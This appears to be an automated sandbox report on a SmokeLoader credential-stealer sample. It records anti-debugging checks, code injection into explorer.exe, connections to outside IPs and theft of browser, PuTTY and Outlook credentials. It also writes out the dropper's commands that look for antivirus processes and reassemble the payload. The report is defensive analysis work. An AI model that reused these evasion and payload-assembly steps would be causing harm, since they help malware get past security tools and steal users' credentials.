        Source: 42FD.tmp.20.drBinary or memory string: Interactive Brokers - HKVMware20,11696494690]
        Source: 42FD.tmp.20.drBinary or memory string: Canara Transaction PasswordVMware20,11696494690x
        Source: explorer.exe, 00000010.00000003.2286528196.0000000009330000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
        Source: 42FD.tmp.20.drBinary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
        Source: chhfaci, 00000013.00000002.2737312859.00000000012CE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
        Source: 42FD.tmp.20.drBinary or memory string: secure.bankofamerica.comVMware20,11696494690|UE
        Source: 42FD.tmp.20.drBinary or memory string: discord.comVMware20,11696494690f
        Source: 42FD.tmp.20.drBinary or memory string: outlook.office.comVMware20,11696494690s
        Source: 42FD.tmp.20.drBinary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
        Source: explorer.exe, 0000001A.00000003.2351239122.0000000005561000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CtMruuE88zUegpohoAYRJ5dRE/S0A+7zN9dr9JB5J+VR6hgFS0rtauc+i0GQp33G
        Source: 42FD.tmp.20.drBinary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
        Source: explorer.exe, 0000001A.00000003.2351239122.0000000005561000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Tp1R+vlrD1IQbQGaqeMUcxBijXs2eD8iAol/tEQCxHEjuBNMhnlsJ+8L3PKFV9ij
        Source: explorer.exe, 00000010.00000002.2735974216.0000000000A20000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware SATA CD00=
        Source: explorer.exe, 0000001A.00000003.2351239122.0000000005561000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: FRpxBXUnPrQ1RF72qpFNThLnlIDIyFvDGaGgj/xA5nx96U1DmUZuNQemu+yD60k5
        Source: 42FD.tmp.20.drBinary or memory string: outlook.office365.comVMware20,11696494690t
        Source: 42FD.tmp.20.drBinary or memory string: www.interactivebrokers.comVMware20,11696494690}
        Source: 42FD.tmp.20.drBinary or memory string: microsoft.visualstudio.comVMware20,11696494690x
        Source: chhfaci, 00000013.00000002.2737312859.00000000012CE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\^
        Source: explorer.exe, 00000010.00000000.1791764203.00000000090DA000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
        Source: 42FD.tmp.20.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
        Source: 42FD.tmp.20.drBinary or memory string: Test URL for global passwords blocklistVMware20,11696494690
        Source: Imposed.com, 0000000B.00000003.1741309444.000000000188D000.00000004.00000020.00020000.00000000.sdmp, Imposed.com, 0000000B.00000002.1744910635.0000000001890000.00000004.00000020.00020000.00000000.sdmp, Imposed.com, 0000000B.00000003.1743988053.000000000188D000.00000004.00000020.00020000.00000000.sdmp, Imposed.com, 0000000B.00000003.1744023858.000000000188E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
        Source: 42FD.tmp.20.drBinary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
        Source: explorer.exe, 0000001A.00000003.2351239122.0000000005561000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: UFrfpwV8tVMcIS3xoTFuj5TBeDaN1/q2SnijhlCzHbMQcma6JLlAb89jwcbHadsp
        Source: 42FD.tmp.20.drBinary or memory string: trackpan.utiitsl.comVMware20,11696494690h
        Source: explorer.exe, 00000014.00000003.2092573485.0000000002B92000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: formVMware20,11696494698+4v
        Source: explorer.exe, 00000010.00000002.2735974216.0000000000A20000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
        Source: chhfaci, 00000013.00000002.2737312859.00000000012CE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\y
        Source: explorer.exe, 0000001A.00000003.2351239122.0000000005561000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: paL2NRvMCI0MgIwk3w9na8CLQs89jm8ml68lWff74o5sWe0hB35mVASi9cjw6Zgw
        Source: 42FD.tmp.20.drBinary or memory string: dev.azure.comVMware20,11696494690j
        Source: explorer.exe, 0000001A.00000003.2351239122.0000000005561000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: zky1YUFElgKHOKZFDPrTGaZ3KIn1xbublyxGLQWkIU8BbnmvMCihnACmZs/Ixgls
        Source: explorer.exe, 0000001A.00000003.2658638118.0000000004DF3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000002.2737866397.0000000004DF4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWH
        Source: explorer.exe, 00000014.00000003.2092573485.0000000002B92000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: secure.bankofamerica.comVMware20,11696494690|
        Source: chhfaci, 00000013.00000002.2737312859.00000000012CE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:H
        Source: explorer.exe, 0000001A.00000003.2351239122.0000000005561000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: +OqVKFUapLs7dkeBTUj/LDdQgceC7O/XE2zjxph4fHgFSuPx5NkzZn5ezpms5G2K
        Source: explorer.exe, 0000001A.00000003.2351239122.0000000005561000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CaCmYyEidjs0HgLkCOUXz5yRIveOPVo422YPEhU7nqvMCiRtQKO+fno8bUejgrcf
        Source: explorer.exe, 00000010.00000002.2735974216.0000000000A20000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
        Source: explorer.exe, 0000001A.00000003.2351239122.0000000005561000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: gx68nznXX4ETXERyNzBanQ0q7UQgKLfP7RE0ac2eJR3AHGFsyJ8lQsVMECkiBNTX
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comSystem information queried: ModuleInformationJump to behavior
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comProcess information queried: ProcessInformationJump to behavior

        Anti Debugging

        barindex
        Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comSystem information queried: CodeIntegrityInformationJump to behavior
        Found API chain indicative of debugger detection
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comDebugger detection routine: QueryPerformanceCounter, DebugActiveProcess, DecisionNodes, ExitProcess or Sleepgraph_11-109178
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comProcess queried: DebugPortJump to behavior
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_00A0F2E8 BlockInput,11_2_00A0F2E8
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_0099331E GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,KiUserCallbackDispatcher,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,11_2_0099331E
        Source: C:\Users\user\Desktop\file.exeCode function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,0_2_004062FC
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009B5108 mov eax, dword ptr fs:[00000030h]11_2_009B5108
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_009B5108 mov eax, dword ptr fs:[00000030h]14_2_009B5108
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_00735108 mov eax, dword ptr fs:[00000030h]19_2_00735108
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009F20EE WaitForSingleObject,UnloadUserProfile,CloseHandle,CloseHandle,GetProcessHeap,HeapFree,11_2_009F20EE
        Source: C:\Windows\SysWOW64\tasklist.exeProcess token adjusted: DebugJump to behavior
        Source: C:\Windows\SysWOW64\tasklist.exeProcess token adjusted: DebugJump to behavior
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009C29B2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,11_2_009C29B2
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009B0C5F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,11_2_009B0C5F
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009B0DF5 SetUnhandledExceptionFilter,11_2_009B0DF5
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009B1041 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,11_2_009B1041
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_009C29B2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,14_2_009C29B2
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_009B0C5F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,14_2_009B0C5F
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_009B0DF5 SetUnhandledExceptionFilter,14_2_009B0DF5
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_009B1041 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,14_2_009B1041
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_007429B2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,19_2_007429B2
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_00730C5F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,19_2_00730C5F
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_00730DF5 SetUnhandledExceptionFilter,19_2_00730DF5
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_00731041 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,19_2_00731041

        HIPS / PFW / Operating System Protection Evasion

        barindex
        Benign windows process drops PE files
        Source: C:\Windows\explorer.exeFile created: chhfaci.16.drJump to dropped file
        System process connects to network (likely due to code injection or exploit)
        Source: C:\Windows\explorer.exeNetwork Connect: 85.192.60.190 443Jump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeNetwork Connect: 150.241.91.218 80
        Creates a thread in another existing process (thread injection)
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comThread created: C:\Windows\explorer.exe EIP: BA19D0Jump to behavior
        Injects a PE file into a foreign processes
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comMemory written: C:\Users\user\AppData\Local\Temp\390641\Imposed.com base: 400000 value starts with: 4D5AJump to behavior
        Injects code into the Windows Explorer (explorer.exe)
        Source: C:\Windows\explorer.exeMemory written: PID: 4540 base: 2779C0 value: 90Jump to behavior
        Source: C:\Windows\explorer.exeMemory written: PID: 5664 base: 7FF62D872D10 value: 90Jump to behavior
        Source: C:\Windows\explorer.exeMemory written: PID: 3616 base: 2779C0 value: 90Jump to behavior
        Source: C:\Windows\explorer.exeMemory written: PID: 5180 base: 7FF62D872D10 value: 90Jump to behavior
        Source: C:\Windows\explorer.exeMemory written: PID: 2736 base: 2779C0 value: 90Jump to behavior
        Source: C:\Windows\explorer.exeMemory written: PID: 6168 base: 7FF62D872D10 value: 90Jump to behavior
        Source: C:\Windows\explorer.exeMemory written: PID: 4312 base: 2779C0 value: 90Jump to behavior
        Maps a DLL or memory area into another process
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comSection loaded: NULL target: C:\Windows\explorer.exe protection: read writeJump to behavior
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comSection loaded: NULL target: C:\Windows\explorer.exe protection: execute and readJump to behavior
        Writes to foreign memory regions
        Source: C:\Windows\explorer.exeMemory written: C:\Windows\SysWOW64\explorer.exe base: 2779C0Jump to behavior
        Source: C:\Windows\explorer.exeMemory written: C:\Windows\SysWOW64\explorer.exe base: 2779C0Jump to behavior
        Source: C:\Windows\explorer.exeMemory written: C:\Windows\SysWOW64\explorer.exe base: 2779C0Jump to behavior
        Source: C:\Windows\explorer.exeMemory written: C:\Windows\SysWOW64\explorer.exe base: 2779C0Jump to behavior
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009F1A7B LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,11_2_009F1A7B
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_0099331E GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,KiUserCallbackDispatcher,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,11_2_0099331E
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009FBA4A SendInput,keybd_event,11_2_009FBA4A
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009FEB90 mouse_event,11_2_009FEB90
        Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Frequently Frequently.cmd & Frequently.cmdJump to behavior
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklistJump to behavior
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc" Jump to behavior
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklistJump to behavior
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" Jump to behavior
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c md 390641Jump to behavior
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /V "ConventionTroopsStudiedTooth" Version Jump to behavior
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Accessing + ..\Entire + ..\Peripherals + ..\Et BJump to behavior
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\390641\Imposed.com Imposed.com BJump to behavior
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5Jump to behavior
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comProcess created: C:\Users\user\AppData\Local\Temp\390641\Imposed.com C:\Users\user\AppData\Local\Temp\390641\Imposed.comJump to behavior
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comProcess created: C:\Users\user\AppData\Local\Temp\390641\Imposed.com C:\Users\user\AppData\Local\Temp\390641\Imposed.comJump to behavior
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009F13DC GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,11_2_009F13DC
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009F1EDD AllocateAndInitializeSid,CheckTokenMembership,FreeSid,11_2_009F1EDD
        Source: file.exe, 00000000.00000003.1483016898.00000000028E3000.00000004.00000020.00020000.00000000.sdmp, Imposed.com, 0000000B.00000000.1513541096.0000000000A53000.00000002.00000001.01000000.00000007.sdmp, Imposed.com, 0000000E.00000000.1681423047.0000000000A53000.00000002.00000001.01000000.00000007.sdmpBinary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
        Source: Imposed.com, explorer.exe, 00000010.00000000.1791764203.000000000936E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2737836363.0000000001090000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000010.00000002.2742610221.00000000044D0000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Shell_TrayWnd
        Source: explorer.exe, 00000010.00000000.1788087093.0000000000A20000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2735974216.0000000000A20000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2737836363.0000000001090000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
        Source: explorer.exe, 00000010.00000002.2737836363.0000000001090000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000010.00000000.1788322693.0000000001091000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: 0Program Manager
        Source: explorer.exe, 00000010.00000002.2737836363.0000000001090000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000010.00000000.1788322693.0000000001091000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
        Source: explorer.exe, 00000010.00000000.1791764203.000000000936E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.2286528196.000000000936E000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Shell_TrayWnd]1Q
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009B0AB8 cpuid 11_2_009B0AB8
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009EE3BB GetLocalTime,11_2_009EE3BB
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009EE419 GetUserNameW,11_2_009EE419
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009CBD72 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,11_2_009CBD72
        Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00406805 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,0_2_00406805

        Stealing of Sensitive Information

        barindex
        Yara detected SmokeLoader
        Source: Yara matchFile source: 0000000F.00000002.1812617875.0000000002C70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000F.00000002.1812665092.0000000002C91000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000010.00000002.2737063558.0000000000BA1000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000019.00000002.2734174203.0000000000131000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000018.00000002.2734343773.0000000002B71000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: explorer.exe PID: 2736, type: MEMORYSTR
        Source: Yara matchFile source: Process Memory Space: explorer.exe PID: 6168, type: MEMORYSTR
        Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
        Source: C:\Windows\SysWOW64\explorer.exeKey opened: HKEY_CURRENT_USER\Software\Martin PrikrylJump to behavior
        Tries to harvest and steal browser information (history, passwords, etc)
        Source: C:\Windows\SysWOW64\explorer.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqliteJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
        Source: C:\Windows\explorer.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
        Source: C:\Windows\SysWOW64\explorer.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-shmJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-walJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
        Tries to steal Mail credentials (via file / registry access)
        Source: C:\Windows\SysWOW64\explorer.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676Jump to behavior
        Source: Imposed.comBinary or memory string: WIN_81
        Source: Imposed.comBinary or memory string: WIN_XP
        Source: chhfaci, 00000013.00000000.1982200170.00000000007D3000.00000002.00000001.01000000.00000008.sdmpBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 15, 3USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.-\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
        Source: Imposed.comBinary or memory string: WIN_XPe
        Source: Imposed.comBinary or memory string: WIN_VISTA
        Source: Imposed.comBinary or memory string: WIN_7
        Source: Imposed.comBinary or memory string: WIN_8
        Source: C:\Users\user\AppData\Roaming\chhfaciDirectory queried: C:\Users\user\DocumentsJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciDirectory queried: C:\Users\user\DocumentsJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciDirectory queried: C:\Users\user\DocumentsJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciDirectory queried: C:\Users\user\DocumentsJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciDirectory queried: C:\Users\user\DocumentsJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciDirectory queried: C:\Users\user\DocumentsJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciDirectory queried: C:\Users\user\DocumentsJump to behavior

        Remote Access Functionality

        barindex
        Yara detected SmokeLoader
        Source: Yara matchFile source: 0000000F.00000002.1812617875.0000000002C70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000F.00000002.1812665092.0000000002C91000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000010.00000002.2737063558.0000000000BA1000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000019.00000002.2734174203.0000000000131000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000018.00000002.2734343773.0000000002B71000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: explorer.exe PID: 2736, type: MEMORYSTR
        Source: Yara matchFile source: Process Memory Space: explorer.exe PID: 6168, type: MEMORYSTR
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_00A1204C socket,WSAGetLastError,bind,WSAGetLastError,closesocket,11_2_00A1204C
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_00A11A4A socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,11_2_00A11A4A
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_0079204C socket,WSAGetLastError,bind,WSAGetLastError,closesocket,19_2_0079204C
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_00791A4A socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,19_2_00791A4A

        Mitre Att&ck Matrix

        ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
        Gather Victim Identity InformationAcquire Infrastructure2
        Valid Accounts        		1
        Windows Management Instrumentation        		1
        DLL Side-Loading        		1
        Exploitation for Privilege Escalation        		1
        Disable or Modify Tools        		1
        OS Credential Dumping        		2
        System Time Discovery        		Remote Services1
        Archive Collected Data        		3
        Ingress Tool Transfer        		Exfiltration Over Other Network Medium1
        System Shutdown/Reboot
        CredentialsDomainsDefault Accounts1
        Native API        		2
        Valid Accounts        		1
        DLL Side-Loading        		1
        Deobfuscate/Decode Files or Information        		21
        Input Capture        		1
        Account Discovery        		Remote Desktop Protocol11
        Data from Local System        		22
        Encrypted Channel        		Exfiltration Over BluetoothNetwork Denial of Service
        Email AddressesDNS ServerDomain Accounts1
        Exploitation for Client Execution        		Logon Script (Windows)2
        Valid Accounts        		2
        Obfuscated Files or Information        		1
        Credentials in Registry        		13
        File and Directory Discovery        		SMB/Windows Admin Shares1
        Email Collection        		3
        Non-Application Layer Protocol        		Automated ExfiltrationData Encrypted for Impact
        Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook21
        Access Token Manipulation        		1
        Timestomp        		NTDS119
        System Information Discovery        		Distributed Component Object Model21
        Input Capture        		114
        Application Layer Protocol        		Traffic DuplicationData Destruction
        Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script612
        Process Injection        		1
        DLL Side-Loading        		LSA Secrets1
        Query Registry        		SSH3
        Clipboard Data        		Fallback ChannelsScheduled TransferData Encrypted for Impact
        Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts121
        Masquerading        		Cached Domain Credentials531
        Security Software Discovery        		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
        DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items2
        Valid Accounts        		DCSync331
